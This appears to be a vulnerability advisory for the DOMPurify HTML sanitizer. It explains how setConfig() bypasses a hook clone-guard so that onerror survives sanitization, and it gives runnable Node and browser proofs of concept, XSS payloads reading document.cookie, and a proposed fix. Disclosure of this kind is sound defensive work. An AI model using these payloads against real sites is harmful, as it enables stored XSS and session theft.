DOMPurify: Permanent `ALLOWED_ATTR` pollution via `setConfig()` bypassing the hook clone-guard (incomplete fix of the 3.4.7 hook-pollution patch)

The 3.4.7 clone-guard — only inside _parseConfig:

// src/purify.ts  _parseConfig()  (lines ~950-968)
// "if a hook is registered AND the set still points at the default constant, clone it.
//  The hook then mutates the clone ... and the next default-cfg call rebinds to the untouched original."
if ( ... && hooks.uponSanitizeAttribute.length > 0) {
  ALLOWED_TAGS = clone(ALLOWED_TAGS);          // line 961
}
if ( ... hooks.uponSanitizeAttribute.length > 0 ... ) {
  ALLOWED_ATTR = clone(ALLOWED_ATTR);          // line 968
}

sanitize() skips _parseConfig on the persistent-config path:

// src/purify.ts  DOMPurify.sanitize()  (line 2369)
if (!SET_CONFIG) {
  _parseConfig(cfg);          // <-- clone-guard lives in here; SKIPPED when SET_CONFIG is true
}

setConfig() sets the flag that disables the guard:

// src/purify.ts  (lines 2596-2598)
DOMPurify.setConfig = function (cfg = {}) {
  _parseConfig(cfg);
  SET_CONFIG = true;          // every later sanitize() now skips _parseConfig
};

The hook is handed the live allowlist binding, and there is no secondary event-handler defense:

// src/purify.ts (line 2088) — hook event exposes the shared object by reference
allowedAttributes: ALLOWED_ATTR,
// (line 2108) hooks.uponSanitizeAttribute executed; a write to data.allowedAttributes mutates ALLOWED_ATTR itself
// _isValidAttribute gates purely on ALLOWED_ATTR[lcName]; DOMPurify uses NO /^on/ blocklist by design.

Net: after setConfig(), the clone-guard never runs, so the hook's allowedAttributes mutation is a permanent write to the instance's shared ALLOWED_ATTR.

Proof of Concept

Environment: npm i [email protected] jsdom (Node; identical mechanism to isomorphic-dompurify, and to a browser instance).

PoC 1 — the leak (trusted render permanently allows onerror on attacker content)

const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DP = createDOMPurify(new JSDOM('').window);

// App init: persistent policy + a hook that allows onerror ONLY for trusted, pre-vetted elements
DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DP.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
    data.allowedAttributes['onerror'] = true;        // intended: trusted-only
  }
});

// 1) A trusted widget is rendered once
DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');

// 2) Later, ATTACKER-controlled content (NO data-trusted) is sanitized on the same instance
console.log(DP.sanitize('<img src="x" onerror="alert(document.cookie)">'));
// OUTPUT:  <img src="x" onerror="alert(document.cookie)">     <-- onerror SURVIVES -> XSS

PoC 2 — it is a DOMPurify state-leak, not "the app allowed on*" (attribute-agnostic)

// Same setConfig + hook shape, but the hook allows a BENIGN attribute (title).
// The leak is identical -> the defect is a shared-state mutation in DOMPurify,
// independent of which attribute the hook touches.
DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
DP.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
});
DP.sanitize('<span data-trusted="1" title="ok">x</span>');
console.log(DP.sanitize('<span title="leaked">x</span>'));   // -> <span title="leaked">x</span>  (leaked)

PoC 3 — control: WITHOUT setConfig() the 3.4.7 guard holds

const DP2 = createDOMPurify(new JSDOM('').window);
DP2.addHook('uponSanitizeAttribute', (n, d) => {
  if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
});
DP2.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
console.log(DP2.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] }));
// OUTPUT:  <img src="x">     <-- onerror correctly STRIPPED. setConfig() is the trigger.

Persistence (observed)

• The leak persists after removeAllHooks() — removing the hook does not clean the polluted allowlist.
• It is global / cross-element — a polluted onmouseover survives on <a> and <div>, not only the originally-blessed <img>.
• It persists for the instance lifetime (survived 5/5 subsequent default calls).
• clearConfig() does restore a clean state (this is the bound of the impact).

Impact

Stored XSS. In a long-lived (e.g. server-side / isomorphic-dompurify) DOMPurify instance, a single trusted render flips a shared allowlist bit; every subsequent untrusted submission then inherits a live event-handler attribute and executes script in viewers' browsers. Because DOMPurify enforces no /^on/ blocklist, a surviving on* attribute is final — no secondary control prevents execution. onerror on a broken-src <img> fires with no user interaction (browser-confirmed; see Validation).

Per-call FORBID_ATTR does not mitigate. A defensive sanitize(input, { FORBID_ATTR: ['onerror'] }) is also ignored once setConfig() has been called: the per-call config is parsed by _parseConfig, which sanitize() skips entirely under SET_CONFIG. So an application cannot blunt the leak with a per-call denylist — the poisoned ALLOWED_ATTR is the sole gate.

Realistic attack scenario

A platform mixes admin-authored interactive widgets with user-generated content through one sanitizer instance:

1. The app installs a persistent baseline policy via setConfig({ ALLOWED_TAGS: [...], ALLOWED_ATTR: [...] }).
2. It registers an uponSanitizeAttribute hook that enables an event handler only for admin-vetted elements marked data-trusted="1", intending safe rich interactivity — a pattern the 3.4.7 fix was specifically meant to make safe.
3. An admin renders one trusted widget. From that point on, every user-submitted comment/post containing <img src=x onerror=...> passes sanitization and executes for all viewers.

Remediation

Extend the existing clone-guard to the persistent-config (SET_CONFIG) fast-path: when sanitize() skips _parseConfig but an uponSanitizeAttribute hook is registered, clone the allowlists before the walk so hook mutations cannot persist — the exact analogue of the guard already present in _parseConfig.

// In DOMPurify.sanitize(), replacing the bare `if (!SET_CONFIG) { _parseConfig(cfg); }`:
if (!SET_CONFIG) {
  _parseConfig(cfg);
} else if (hooks.uponSanitizeAttribute.length > 0) {
  // Persistent-config path: _parseConfig (and its clone-guard) is skipped, so a hook would
  // otherwise mutate the shared ALLOWED_ATTR/ALLOWED_TAGS permanently. Clone per call.
  if (ALLOWED_ATTR === DEFAULT_ALLOWED_ATTR || ALLOWED_ATTR === currentSetConfigAttr) {
    ALLOWED_ATTR = clone(ALLOWED_ATTR);
  }
  if (ALLOWED_TAGS === DEFAULT_ALLOWED_TAGS || ALLOWED_TAGS === currentSetConfigTags) {
    ALLOWED_TAGS = clone(ALLOWED_TAGS);
  }
}

(Equivalently: in the hook-event builder at line ~2088, hand the hook a shallow clone of ALLOWED_ATTR/ALLOWED_TAGS whenever SET_CONFIG is true, mirroring the 3.4.7 intent.)

A regression test should reproduce PoC 1 and assert the attacker call returns <img src="x">. Note the existing 3.4.7 regression test ("unguarded attribute hook does not poison subsequent default-config calls") never exercises setConfig() — adding a setConfig variant closes the gap.

Application-side mitigation until patched: prefer data.keepAttr = true (per-element, non-persistent) over data.allowedAttributes[name] = true inside hooks; or call DOMPurify.clearConfig() between trust domains; or use separate DOMPurify instances for trusted vs. untrusted content.

Limitations

• Requires the two-part precondition above (persistent setConfig() and a hook writing data.allowedAttributes[...]). Not a default-config bypass.
• Impact is bounded by clearConfig(), which restores a clean state. The earlier-considered "survives clearConfig()" claim did not reproduce and is withdrawn.
• A position could be adopted to "use data.keepAttr=true, not allowedAttributes[]." However, the 3.4.7 security fix exists precisely to defend the allowedAttributes[] hook pattern in the per-call path; leaving the setConfig path unguarded is an incomplete fix of an acknowledged security issue.

Validation

• Integrity: the tested [email protected] dist/purify.cjs.js (md5 ab0e7b1cde1cbcace0f62b6aac284143) and browser dist/purify.min.js (md5 b0985f80fa48e6e7b263f8f6a64b779e) are byte-identical to a freshly npm pack-ed release — the repro is on the real shipped code. Mechanism identical on 3.4.0, 3.4.9 and 3.4.10.
• Node (mechanism): PoCs 1–3 reproduce deterministically; DOMPurify.isValidAttribute('img','onerror','x') flips false → true after a single trusted render under setConfig(), proving the shared attribute gate is poisoned. Leak survives removeAllHooks(), is cross-element, persists for the instance lifetime, and is reset only by clearConfig().
• Real browser (impact): in Chrome with DOMPurify 3.4.10, assigning the attacker output to innerHTML executes the surviving onerror (sentinel window.__fired = ["ATTACKER-onerror"]; onerror DOM property is a function), with no user interaction. The no-setConfig A/B control does not fire — execution is attributable to the setConfig leak, not a harness artifact.

Appendix A — Node PoC (complete, runnable)

// poc.js  —  npm i [email protected] jsdom  &&  node poc.js
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const freshDP = () => createDOMPurify(new JSDOM('').window);
const log = (s) => console.log(s);
log('DOMPurify ' + freshDP().version + '\n');

// PoC 1 — the leak: trusted render permanently allows onerror on attacker content
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (node, data) => {
    if (node.getAttribute && node.getAttribute('data-trusted') === '1') {
      data.allowedAttributes['onerror'] = true;            // intended: trusted-only
    }
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="loadWidget()">');            // trusted render
  const attacker = DP.sanitize('<img src="x" onerror="alert(document.cookie)">');  // attacker, no data-trusted
  log('[PoC1] attacker output  : ' + attacker);
  log('[PoC1] onerror survived : ' + /onerror/.test(attacker));
  log('[PoC1] isValidAttribute(img,onerror) -> ' + DP.isValidAttribute('img','onerror','x') + '  (shared gate poisoned)\n');
}

// PoC 2 — attribute-agnostic: a DOMPurify state-leak, not "the app allowed on*"
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['span'], ALLOWED_ATTR: [] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['title'] = true;
  });
  DP.sanitize('<span data-trusted="1" title="ok">x</span>');
  log('[PoC2] benign title leaks: ' + DP.sanitize('<span title="leaked">x</span>') + '\n');
}

// PoC 3 — control: WITHOUT setConfig the 3.4.7 guard holds
{
  const DP = freshDP();
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  const ctrl = DP.sanitize('<img src="x" onerror="alert(1)">', { ALLOWED_TAGS:['img'], ALLOWED_ATTR:['src'] });
  log('[PoC3] control output   : ' + ctrl + '   stripped: ' + !/onerror/.test(ctrl) + '\n');
}

// Persistence: survives removeAllHooks(); reset only by clearConfig()
{
  const DP = freshDP();
  DP.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
  DP.addHook('uponSanitizeAttribute', (n, d) => {
    if (n.getAttribute && n.getAttribute('data-trusted') === '1') d.allowedAttributes['onerror'] = true;
  });
  DP.sanitize('<img data-trusted="1" src="x" onerror="ok()">');
  DP.removeAllHooks();
  let leaks = 0;
  for (let i = 0; i < 5; i++) if (/onerror/.test(DP.sanitize('<img src="x" onerror="alert('+i+')">'))) leaks++;
  log('[persist] survived ' + leaks + '/5 calls after removeAllHooks()');
  DP.clearConfig();
  log('[persist] after clearConfig(): ' + DP.sanitize('<img src="x" onerror="alert(1)">') + '  (reset)');
}

Expected output:

[PoC1] attacker output  : <img src="x" onerror="alert(document.cookie)">
[PoC1] onerror survived : true
[PoC1] isValidAttribute(img,onerror) -> true  (shared gate poisoned)
[PoC2] benign title leaks: <span title="leaked">x</span>
[PoC3] control output   : <img src="x">   stripped: true
[persist] survived 5/5 calls after removeAllHooks()
[persist] after clearConfig(): <img src="x">  (reset)

Appendix B — Browser PoC (complete; confirms execution)

<!doctype html><html><head><meta charset="utf-8">
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js"></script>
</head><body><pre id="out"></pre>
<script>
const log = (s) => document.getElementById('out').textContent += s + '\n';
window.__fired = [];
window.alert = (x) => window.__fired.push('alert:' + x);   // sentinel: capture exec, no modal
log('DOMPurify ' + DOMPurify.version);

// App init: persistent policy + a hook allowing onerror ONLY for trusted elements
DOMPurify.setConfig({ ALLOWED_TAGS: ['img'], ALLOWED_ATTR: ['src'] });
DOMPurify.addHook('uponSanitizeAttribute', (node, data) => {
  if (node.getAttribute && node.getAttribute('data-trusted') === '1') data.allowedAttributes['onerror'] = true;
});

DOMPurify.sanitize('<img data-trusted="1" src="x" onerror="0">');                 // one trusted render
const out = DOMPurify.sanitize('<img src="x" onerror="alert(\'XSS:\'+document.domain)">');  // attacker
log('attacker sanitized output: ' + out);
const host = document.createElement('div');
host.innerHTML = out;                            // surviving onerror arms on the broken-src img
document.body.appendChild(host);

setTimeout(() => {
  log('handlers fired: ' + JSON.stringify(window.__fired));
  log(window.__fired.length ? 'RESULT: XSS EXECUTED' : 'RESULT: no execution');
}, 500);
</script></body></html>

Observed: handlers fired: ["alert:XSS:<domain>"] → RESULT: XSS EXECUTED (no user interaction). The same harness without the setConfig() line strips onerror and does not fire.